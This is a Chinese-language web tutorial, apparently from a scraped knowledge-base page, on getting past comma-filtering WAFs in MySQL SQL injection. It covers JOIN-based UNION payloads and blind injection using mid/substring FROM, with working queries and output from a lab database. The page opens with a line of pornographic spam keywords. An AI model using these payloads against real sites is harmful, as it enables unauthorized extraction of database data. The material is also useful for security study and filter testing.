好湿?好紧?好多水好爽自慰,久久久噜久噜久久综合,成人做爰A片免费看黄冈,机机对机机30分钟无遮挡

主頁 > 知識庫 > SQL注入技巧之顯注與盲注中過濾逗號繞過詳析

SQL注入技巧之顯注與盲注中過濾逗號繞過詳析

熱門標簽:泗洪正規電話機器人找哪家 小程序智能電話機器人 河北便宜電銷機器人軟件 簡單的智能語音電銷機器人 怎么申請400熱線電話 湖南保險智能外呼系統產品介紹 ai電話電話機器人 南昌呼叫中心外呼系統哪家好 怎么去開發一個電銷機器人

前言

sql注入在很早很早以前是很常見的一個漏洞。后來隨著安全水平的提高,sql注入已經很少能夠看到了。但是就在今天,還有很多網站帶著sql注入漏洞在運行。下面這篇文章主要介紹了關于SQL注入逗號繞過的相關內容,分享出來供大家參考學習,下面話不多說了,來一起看看詳細的介紹吧

1.聯合查詢顯注繞過逗號

在聯合查詢時使用 UNION SELECT 1,2,3,4,5,6,7..n 這樣的格式爆顯示位,語句中包含了多個逗號,如果有WAF攔截了逗號時,我們的聯合查詢不能用了。

繞過

在顯示位上替換為常見的注入變量或其它語句

union select 1,2,3;

union select * from ((select 1)A join (select 2)B join (select 3)C);

union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

在數據庫中演示聯合查詢

UNION開始是我們在URL中注入的語句,這里只是演示,在實際中如果我們在注入語句中有逗號就可能被攔截

mysql> select user_id,user,password from users union select 1,2,3;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.04 sec)

不出現逗號,使用Join來注入

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

查詢我們想要的數據

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;
+---------+-------+-------------------------------------------------+
| user_id | user | password   |
+---------+-------+-------------------------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ |
+---------+-------+-------------------------------------------------+
2 rows in set (0.08 sec)

2.盲注中逗號繞過

MID 和substr 函數用于從文本字段中提取字符

mysql> select mid(user(),1,2);
+-----------------+
| mid(user(),1,2) |
+-----------------+
| ro |
+-----------------+
1 row in set (0.04 sec)

查詢數據庫用戶名第一個字符的ascii碼

mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 114 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

盲注,通過猜ascii值

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;
Empty set

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.04 sec)

逗號繞過SUBTTRING 函數

substring(str FROM pos)

從字符串str的起始位置pos 返回一個子串

mysql> select substring('hello' from 1);
+---------------------------+
| substring('hello' from 1) |
+---------------------------+
| hello  |
+---------------------------+
1 row in set (0.04 sec)

mysql> select substring('hello' from 2);
+---------------------------+
| substring('hello' from 2) |
+---------------------------+
| ello  |
+---------------------------+
1 row in set (0.03 sec)

注入

mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
Empty set
//substring(user() from 2)為o
//o的ascii為111,
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.03 sec)

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。

您可能感興趣的文章:
  • 防止xss和sql注入:JS特殊字符過濾正則
  • 一個過濾重復數據的 SQL 語句
  • MySQL注入繞開過濾的技巧總結
  • SQL注入中繞過 單引號 限制繼續注入
  • SQL注入繞過的技巧總結
  • 多列復合索引的使用 繞過微軟sql server的一個缺陷
  • 關于SQL注入繞過的一些知識點
  • SQL Server簡單模式下誤刪除堆表記錄恢復方法(繞過頁眉校驗)
  • Mysql如何巧妙的繞過未知字段名詳解

標簽:淮安 威海 瀘州 那曲 江蘇 柳州 景德鎮 荊門

巨人網絡通訊聲明:本文標題《SQL注入技巧之顯注與盲注中過濾逗號繞過詳析》,本文關鍵詞  SQL,注入,技巧,之顯,注,與,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《SQL注入技巧之顯注與盲注中過濾逗號繞過詳析》相關的同類信息!
  • 本頁收集關于SQL注入技巧之顯注與盲注中過濾逗號繞過詳析的相關信息資訊供網民參考!
  • 推薦文章